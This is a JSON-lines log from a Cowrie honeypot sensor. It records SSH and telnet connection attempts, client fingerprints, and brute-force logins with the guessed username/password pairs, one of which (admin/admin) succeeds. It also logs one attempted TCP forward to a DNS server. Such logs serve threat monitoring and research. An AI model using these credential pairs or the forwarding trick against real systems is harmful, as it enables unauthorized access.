{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:31:36.801773Z","src_ip":"87.251.64.176","session":"ba479c509571","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:31:36.900555Z","src_ip":"87.251.64.176","session":"ba479c509571","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:31:37.188107Z","src_ip":"87.251.64.176","session":"ba479c509571","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:31:37.286533Z","session":"ba479c509571","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:31:37.383404Z","src_ip":"87.251.64.176","session":"ba479c509571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:31:37.480973Z","src_ip":"87.251.64.176","session":"ba479c509571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.806636810302734,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:31:39.675404Z","src_ip":"104.245.105.2","session":"13d71ee3d7f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.704092264175415,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:31:48.538712Z","src_ip":"104.245.105.2","session":"d2b1b51cab32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":60364,"dst_ip":"159.203.135.109","dst_port":23,"session":"2787edd716c3","protocol":"telnet","message":"New connection: 142.93.2.99:60364 (159.203.135.109:23) [session: 2787edd716c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:31:51.880811Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":39560,"dst_ip":"10.17.0.5","dst_port":23,"session":"891f3fb3d62f","protocol":"telnet","message":"New connection: 104.245.105.2:39560 (10.17.0.5:23) [session: 891f3fb3d62f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:31:53.018930Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":33966,"dst_ip":"159.203.135.109","dst_port":23,"session":"f20b54f9ce5f","protocol":"telnet","message":"New connection: 142.93.2.99:33966 (159.203.135.109:23) [session: f20b54f9ce5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:31:53.595607Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":37278,"dst_ip":"159.203.135.109","dst_port":22,"session":"4afaa0f4b734","protocol":"ssh","message":"New connection: 186.233.118.22:37278 (159.203.135.109:22) [session: 4afaa0f4b734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:32:14.781158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:32:14.790554Z","src_ip":"186.233.118.22","session":"4afaa0f4b734","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:32:14.910691Z","src_ip":"186.233.118.22","session":"4afaa0f4b734","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe!@#123","message":"login attempt [root/QWEqwe!@#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:32:15.420027Z","src_ip":"186.233.118.22","session":"4afaa0f4b734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:32:16.542848Z","src_ip":"186.233.118.22","session":"4afaa0f4b734","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":50296,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c461c0c7809","protocol":"telnet","message":"New connection: 104.245.105.2:50296 (10.17.0.5:23) [session: 2c461c0c7809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:32:17.182292Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.38","src_port":58948,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b9331bc8547","protocol":"telnet","message":"New connection: 198.235.24.38:58948 (159.203.135.109:23) [session: 0b9331bc8547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:32:18.145128Z"}
{"eventid":"cowrie.session.closed","duration":32.95114493370056,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:32:24.831847Z","src_ip":"142.93.2.99","session":"2787edd716c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.32342171669006,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:32:27.918936Z","src_ip":"142.93.2.99","session":"f20b54f9ce5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.799432277679443,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:32:27.944439Z","src_ip":"198.235.24.38","session":"0b9331bc8547","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.22136425971985,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:32:41.240209Z","src_ip":"104.245.105.2","session":"891f3fb3d62f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53786,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac9c81d5f5f0","protocol":"telnet","message":"New connection: 104.245.105.2:53786 (10.17.0.5:23) [session: ac9c81d5f5f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:32:45.100774Z"}
{"eventid":"cowrie.session.closed","duration":31.367525577545166,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:32:48.549592Z","src_ip":"104.245.105.2","session":"2c461c0c7809","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.36.200.182","src_port":12722,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d6eca0bc7db","protocol":"ssh","message":"New connection: 177.36.200.182:12722 (159.203.135.109:22) [session: 2d6eca0bc7db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:32:51.049463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:32:51.054370Z","src_ip":"177.36.200.182","session":"2d6eca0bc7db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:32:51.450015Z","src_ip":"177.36.200.182","session":"2d6eca0bc7db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootadmin","message":"login attempt [root/rootadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:32:52.651361Z","src_ip":"177.36.200.182","session":"2d6eca0bc7db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:32:54.049829Z","src_ip":"177.36.200.182","session":"2d6eca0bc7db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.59.215.34","src_port":25135,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7b3794e6c68","protocol":"telnet","message":"New connection: 172.59.215.34:25135 (10.17.0.5:23) [session: a7b3794e6c68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:33:06.336724Z"}
{"eventid":"cowrie.session.closed","duration":31.440054655075073,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:33:16.540709Z","src_ip":"104.245.105.2","session":"ac9c81d5f5f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":58938,"dst_ip":"10.17.0.5","dst_port":23,"session":"d675f9066f6b","protocol":"telnet","message":"New connection: 104.245.105.2:58938 (10.17.0.5:23) [session: d675f9066f6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:33:16.794763Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":58592,"dst_ip":"159.203.135.109","dst_port":22,"session":"92fd01e5fa02","protocol":"ssh","message":"New connection: 186.233.118.22:58592 (159.203.135.109:22) [session: 92fd01e5fa02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:33:17.681812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:33:17.690597Z","src_ip":"186.233.118.22","session":"92fd01e5fa02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:33:17.809942Z","src_ip":"186.233.118.22","session":"92fd01e5fa02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es1","password":"123456","message":"login attempt [es1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:33:18.318516Z","src_ip":"186.233.118.22","session":"92fd01e5fa02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:33:19.440037Z","src_ip":"186.233.118.22","session":"92fd01e5fa02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.607506513595581,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:33:19.944138Z","src_ip":"172.59.215.34","session":"a7b3794e6c68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.43.210.133","src_port":44910,"dst_ip":"159.203.135.109","dst_port":23,"session":"05cbad65bc82","protocol":"telnet","message":"New connection: 38.43.210.133:44910 (159.203.135.109:23) [session: 05cbad65bc82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:33:38.135376Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57764,"dst_ip":"10.17.0.5","dst_port":23,"session":"70d80126ba1f","protocol":"telnet","message":"New connection: 104.245.105.2:57764 (10.17.0.5:23) [session: 70d80126ba1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:33:50.330631Z"}
{"eventid":"cowrie.session.closed","duration":13.332720279693604,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:33:51.467997Z","src_ip":"38.43.210.133","session":"05cbad65bc82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.13730764389038,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:33:54.931957Z","src_ip":"104.245.105.2","session":"d675f9066f6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":60926,"dst_ip":"159.203.135.109","dst_port":22,"session":"32d4137f370f","protocol":"ssh","message":"New connection: 186.233.118.22:60926 (159.203.135.109:22) [session: 32d4137f370f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:34:19.449271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:34:19.529505Z","src_ip":"186.233.118.22","session":"32d4137f370f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:34:19.649456Z","src_ip":"186.233.118.22","session":"32d4137f370f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234.asd","message":"login attempt [root/1234.asd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:34:20.119429Z","src_ip":"186.233.118.22","session":"32d4137f370f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.910543203353882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:34:21.241079Z","src_ip":"104.245.105.2","session":"70d80126ba1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:34:21.246719Z","src_ip":"186.233.118.22","session":"32d4137f370f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":48864,"dst_ip":"10.17.0.5","dst_port":23,"session":"51f04c0a50ae","protocol":"telnet","message":"New connection: 104.245.105.2:48864 (10.17.0.5:23) [session: 51f04c0a50ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:34:34.128380Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":48880,"dst_ip":"10.17.0.5","dst_port":23,"session":"845dd48915de","protocol":"telnet","message":"New connection: 104.245.105.2:48880 (10.17.0.5:23) [session: 845dd48915de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:34:34.439116Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":48888,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8cefaa104f4","protocol":"telnet","message":"New connection: 104.245.105.2:48888 (10.17.0.5:23) [session: d8cefaa104f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:34:39.228713Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":28964,"dst_ip":"10.17.0.5","dst_port":22,"session":"cea3919c034b","protocol":"ssh","message":"New connection: 87.251.64.176:28964 (10.17.0.5:22) [session: cea3919c034b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:34:44.757913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:34:44.765200Z","src_ip":"87.251.64.176","session":"cea3919c034b","protocol":"ssh"}
